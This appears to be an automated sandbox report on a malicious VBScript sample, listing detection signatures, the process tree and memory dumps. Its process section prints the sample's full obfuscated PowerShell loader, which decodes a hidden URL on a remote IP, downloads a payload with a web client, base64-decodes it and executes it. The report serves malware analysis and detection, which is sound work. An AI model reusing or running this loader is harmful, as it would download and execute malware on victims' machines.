Analysis
- max time kernel
147s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
19/06/2024, 01:37
General
- Target ad1e557063876aa8afed3b478864701d9f17e9a001985703e4df243fdf2f96ee.vbs
- Size 150KB
- Sample240619-b12yna1fpc
- SHA256 ad1e557063876aa8afed3b478864701d9f17e9a001985703e4df243fdf2f96ee
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 6 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ad1e557063876aa8afed3b478864701d9f17e9a001985703e4df243fdf2f96ee.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;$Outrocking = 1;$Discustom='ring';$Reattachment='S';Function Byraadet($Falankser){$Byfesten=$Falankser.Length-$Outrocking;$Machineries=$Reattachment+'ubst'+$Discustom;For( $Elsdyrskindet=5;$Elsdyrskindet -lt $Byfesten;$Elsdyrskindet+=6){$Bortfaldtes+=$Falankser.$Machineries.Invoke( $Elsdyrskindet, $Outrocking);}$Bortfaldtes;}function incontinuity($oscillancy){ & ($Arrigskabens) ($oscillancy);}$Unfeedable=Byraadet ',orefM En loBr.ndzRadiei efeclHellilMe lea Indl/ Pugg5Gritt.Stuf.0Feber Overw(M.mleWdisk,i.aadlnVimsedVellao Do,bwElevesMedan GremaNVaabeT,orta Slagg1Daywa0Madst.Cores0ekspo; ajan Sto,kWpsykoiDagesnYotac6Atomb4 Jv,f;Synch NglepxTruxi6Frakt4 Dann;Affal SoilrDemobv Pree:E.gwa1Semia2 ,une1Udsky.Unp.o0sl sk)toter KurvGAnalyeMan,ccDum.ekOrdreoH.and/ Meta2 Haut0Taks 1Senge0 Deci0Haser1di,it0scotc1Sybor UncanFB igai anlgrFrekveHkas fBusfooPy.omxDenar/ Rdni1Hyper2 selv1Grund.En,is0beckh ';$gowned=Byraadet 'SpaniUGal,asFremseKondirThera-LifetA xubegImagieCrocon Steat Bunt ';$Ilesite=Byraadet 'U,eblhUni,et.adget sychp Tigh: Skol/ Ri g/Jordp1Bankb9 Clav4Pol,r.Accre5 Tibi9sympa.Diapo3Oliet1,rack.koers1Sp,ke8O sen7Cir.u/Anal.OInkamu Su stNormagHyperu .eatnOdonts Sand. skytsBarwie T.utaPaksl ';$Psychophysiology=Byraadet 'Kompe> Cirr ';$Arrigskabens=Byraadet 'StrasiDandreF,sesxDeval ';$Flakset='Syltekrukken';$Universalizations86 = Byraadet 'TostaeBotancBer.shToadsolo,ho Anne %UforlaFrierpChildpUdd ndedd kaZan,itSeesaa Henr%Nat r\ DeceOUkollv utkeeRovetr UdsksReprotIcht.rPersoe .eppsSpeaks DistiExcl,nPredegS oma.FlidsHReansi venskAlarm Betr.&Knotw&nairo SolaneExuc.cProgrh sp io Nunu Midnat Teks ';incontinuity (Byraadet 'Reaum$Prec,g.raillFremloAnstrbLickealippel Di l:AnighISu,linAutorgmelanrResuseFashpd Styn=Weyho(Asce,cIncurm .mardUnder Konfi/Jocoschadin Konst$MaltgUPlen.nD glai Forbv ,lateHarewrCutchsMetapaTiltrl,idseiepidezSlag.asatantA nekiBaghoo CystnSyrins iali8,rodu6Hypok)H rre ');incontinuity (Byraadet 'Diver$Oekong UdbllPhantoOx.dabHa.dwainverlFunkt:miradZGwainiAf stms ulcmConv,eBenzirKorrew I,voa OutrlunthrdSniftiEggroa,insknAn.eb=Henve$ BallIOccu,l .riteSubdisCirc,iAsteitbowdleAfs,n.Spis s S.ocpEverilBasepiTetratCommi( rivo$FordrPTeha swind.ySkrd cSt,grhCacoxoSvedip englhLeucoyBiofysDermaiCoactoNlerhlBestioDe ilgTvivlyForec) Lori ');incontinuity (Byraadet 'Gourd[.onsyNSrgebePriort S da.T,espSTidsfeFireprGearevSaltii Talac.othee PromP HyreoBevidiSyndsnReduct upwaM.elleaKr mpnChastaFornygThreoeFallorCoqui]P.nin: Nets:ElemeSMar.leOpst,cDi.geu aeanrcentriCollat B.ghy Equ PSt,terdrib oAntistJimmioItzahcWhfufoWomenlSkole c,cl= Ges Overv[ShuttNWill,eGoldetRaspn.zinkoSTovreeFot gcTru.tu ,enir PbxuiIntertFolkeyPervaP Ba,krInconoBoligtEfteroindtecD.gteo llul ntimT FlinyLogoepSmmeneMo.ka]Tingp:k.oni:TransTJettilKlap,sLarme1Saute2 Ka a ');$Ilesite=$Zimmerwaldian[0];$lrredernes= (Byraadet 'irreg$MarsigLes ylDiv.roRewarb FrstaRepaclServa:CreakHGrundvStockeSpe ipt iplsSingle Im rtukrliaLuannl enasjSpiraeValorrOveran KoloeU,ransTitel=Taf rN VapoeTicklwFlo t- ItaiOShelfbOrd,ejPro.reUndevcIndskt ledd NontaS,jeney norhs DeputExciseergo,mFlyen.stenrN.ubere LandtIrrec.TandhWoverfeStoevb ErhvCT efalMde,aiUns,meSpelanPr,tet');$lrredernes+=$Ingred[1];incontinuity ($lrredernes);incontinuity (Byraadet 'Cloot$c lleHRaftiv.ngioeVesicpUnfrusUmttee Antatbdepra N delMennejBrilleHalv.rS eksnSejneeBrandsPreem. .opeHHsteneProtoaPurgedKrud,e onrerUdfolsEdon [Epide$NedgagVulvoo .debwFlak n Stude SolidAbso.]Retro=Stran$ ondeUPerfonSessifLandveProvseEthiodC,rcua ans,b Foral Furae epal ');$Kommunalretlige=Byraadet 'Lymph$.ecklH.nebrv Af,eeTreklpAbsorsLunk e StentEventaGuaialSophojFjerdeVrdierP lfinPuncte St,fsHul o.HorogD.veraoDosimwNoni,nReglel ildaoMacroa inendSkrivF,elapiPaddelSupere Es t( eeni$ Afm.INu.nilFadsee idifsMult iAlbigt TyveeL,che,Poloa$Be rba SkulrC.mpumStents.ucke) .ood ';$arms=$Ingred[0];incontinuity (Byraadet ' Grns$ RaingKommilanhugoZoos bFrivaaArcanlMaste: Ba,eHangora,iffivInsipnFortyeQui.ibAntifaprobasDokumsNonjuicluttnAntime nencrSalthsGazer=,nddr(VrinsT Byple.lwissElasttPinwe-A serPrain,aMaltot,ikeshSlabb Lage.$Le.daaTelexrLifenmGossisVagin)Laten ');while (!$Havnebassiners) {incontinuity (Byraadet ' Li,e$OxidegKnystlov rroKrydsbPrivaaArresl Catm: AkutH TranjNon.aeTilfamSpairm Tip eP.opafSeditrFinlayH,messBes yesideorThe,m=Bu,th$Flegmt PirrrHoej,uNatu,eTrans ') ;incontinuity $Kommunalretlige;incontinuity (Byraadet ',ygueSRon,et.roilaWoodmrGadekt Forp-ThirtSFraselCordie Farle Smagp S,ci Grav4Bands ');incontinuity (Byraadet 'ne ja$Klassg UlrilLateroAutocbV.ndra ForslFr,ga:PrewoH BoltaPhysivBaneln .esoe OutfbSp.ktaUdmalsLockosPreexi ouzlnGelateKlebirBordvs Rail=L.tte(,lectTStrmke AlkasVintet Mhed-NaestPOkkeraBesvrtMy emh Sk r Grsr.$Madisa Mnstrskrtem HundsSkyld)Lu.tk ') ;incontinuity (Byraadet 'St,eg$Udbrig.riaslani.ao S.yrb Prota IndblSkrig:H,elpAR gramEs,hebMorteaRadbrsDemansenerga RadidT lmeeAcar.rChloraDemysaEnchadStoreePr,cenFilte=.orbe$Mac,ogorchilamp ioTarmab,edhfaSucculPraen: BilkC.terehRounde okamm,ereioFortrt Cem.aCruencGuilltF esciBundscOvers+Unwei+ Ente%Su er$GunstZextraiNaebomSwashmSubgeeNo.dirZida,wHulsmaEquiplSpilddAdolpiPrefraStormnBru,e.Dei icindiaoIntrouDeclan BesvtBevil ') ;$Ilesite=$Zimmerwaldian[$Ambassaderaaden];}$vauntie=301580;$Broklaps=28412;incontinuity (Byraadet ' rea$SamvrgnagaflHngeloM llebGhasta.etnglTiger:PrevePBgetprPedicoForrip,tyloumar,agUmlaun cykla ddebc AesclUnthieSinitdSkatt Sitdo=Parad ArmlnGMeriae TeletBrus -NonacCSkyggoMillinB.nzotefte eDigitnplasttC ise udest$Formaaunr trLoersmKontrsForte ');incontinuity (Byraadet ' Psyc$S,ejlgKurs lVemodo hagrb.rogracholelTrefl:VarieTAcornhKloaky Skolr RespoSubfoeLogospRke jiS.anhgTiltrlWe.esoIntertVandatUruguiR,ngodUbevgefuldbaNe,renoxyha skamf= Flag Lovor[ HezeS PricyDybvasTriqut Retse S.avmFldek.Da,neCIncepoSupernJgvanv AiraePrederSt.titCir,u]Chazz: inam: OrieFNglehr FouroFanatmBejewBCantea Afmes,agazeUpspr6Reane4PolitSD llet I surIndokiHalvdn Mun gTiltr(.kaft$Sta uPMasterOileroDatafpbaubluDo,hig,kobrnS,ejlapalabcGenkol Svame HypodSki.t)Stuef ');incontinuity (Byraadet 'Bland$ FenugAktivl rmieoAdulabMedfaadaggelurfol:.aabeAPhysipTrotstMukhtyBokseaUnd vl FlhoiA dejsBe,memFor.r Fiske=Forpu Preci[PedicSPi fiyCrabesCirc.tUnfaie .ndemQuern.genf TCycloeAcce,xElbiltTomru.NonvoE BrlenDvr kc AfhjoNonsedBaandiPlat.nPranggPamfl]Lnudv:Easyg:LinguA A rtSStum.CSalveI EngrIPants.bu kaGNoncieMaryatFa apSAnap,tBlegnrJae.niHexafnBa.kigSemir(Va,re$TriraT.alvdhUnderyK.tinrkisseoPercoeRegnspDatopiRespigHumanl onpro,ilnut Unvet Myr.iHighldKnackePla eaTelefn Spec)Separ ');incontinuity (Byraadet 'Ho ed$TrepagGalenl MageoSiddhb incoaWyke.lRgels:Bron B O,tuiHimmelParasl FileeSiderdBygdemHensoeU,cordTypoli Ca.cuB,emsmMajin= Line$ Qui,A HentpGenettSammeyOscilaudhullDeporiToot,sSkrfnmHardh.IsozysGast.uChas,bBedres.ifletVgtskr NonqiTotaln ynclgStran( Sinf$ Va,dvBelusa tvi uMainlnlinolt BahmiSo ate in,h,,rovi$MunitB EnkerUnthro sit kUdt yl Threa CitypSainfs Pri,)Marga ');incontinuity $Billedmedium;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Overstressing.Hik && echo t"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_ynn1xojo.rma.ps1
memory/4976-0-0x00007FFC9B6A3000-0x00007FFC9B6A5000-memory.dmp
memory/4976-10-0x000001FE77640000-0x000001FE77662000-memory.dmp
memory/4976-11-0x00007FFC9B6A0000-0x00007FFC9C161000-memory.dmp
memory/4976-12-0x00007FFC9B6A0000-0x00007FFC9C161000-memory.dmp
memory/4976-13-0x000001FE79790000-0x000001FE799AC000-memory.dmp
memory/4976-15-0x00007FFC9B6A0000-0x00007FFC9C161000-memory.dmp
memory/4976-16-0x00007FFC9B6A3000-0x00007FFC9B6A5000-memory.dmp
memory/4976-17-0x00007FFC9B6A0000-0x00007FFC9C161000-memory.dmp
memory/4976-18-0x00007FFC9B6A0000-0x00007FFC9C161000-memory.dmp
memory/4976-19-0x00007FFC9B6A0000-0x00007FFC9C161000-memory.dmp